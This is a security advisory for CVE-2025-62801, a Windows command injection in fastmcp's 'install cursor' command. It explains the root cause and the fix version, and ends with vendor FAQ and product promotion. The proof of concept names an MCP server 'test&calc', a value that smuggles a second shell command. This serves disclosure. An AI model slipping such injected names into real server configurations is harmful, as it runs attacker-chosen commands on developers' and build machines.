CVE-2025-62801

A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor

Details

1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.
2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start .
3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.

PoC

server.py

import random
from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

if __name__ == "__main__":
    mcp.run()

then run in the terminal:
fastmcp install cursor server.py

OS Command / Shell Injection (CWE-78)
Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

Kodem intelligence

1. What is CVE-2025-62801? CVE-2025-62801 is a medium-severity OS command injection vulnerability in fastmcp (pip), affecting versions < 2.13.0. It is fixed in 2.13.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. Which versions of fastmcp are affected by CVE-2025-62801? fastmcp (pip) versions < 2.13.0 is affected.
3. Is there a fix for CVE-2025-62801? Yes. CVE-2025-62801 is fixed in 2.13.0. Upgrade to this version or later.
4. Is CVE-2025-62801 exploitable, and should I be worried? Whether CVE-2025-62801 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-62801 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-62801? Upgrade fastmcp to 2.13.0 or later.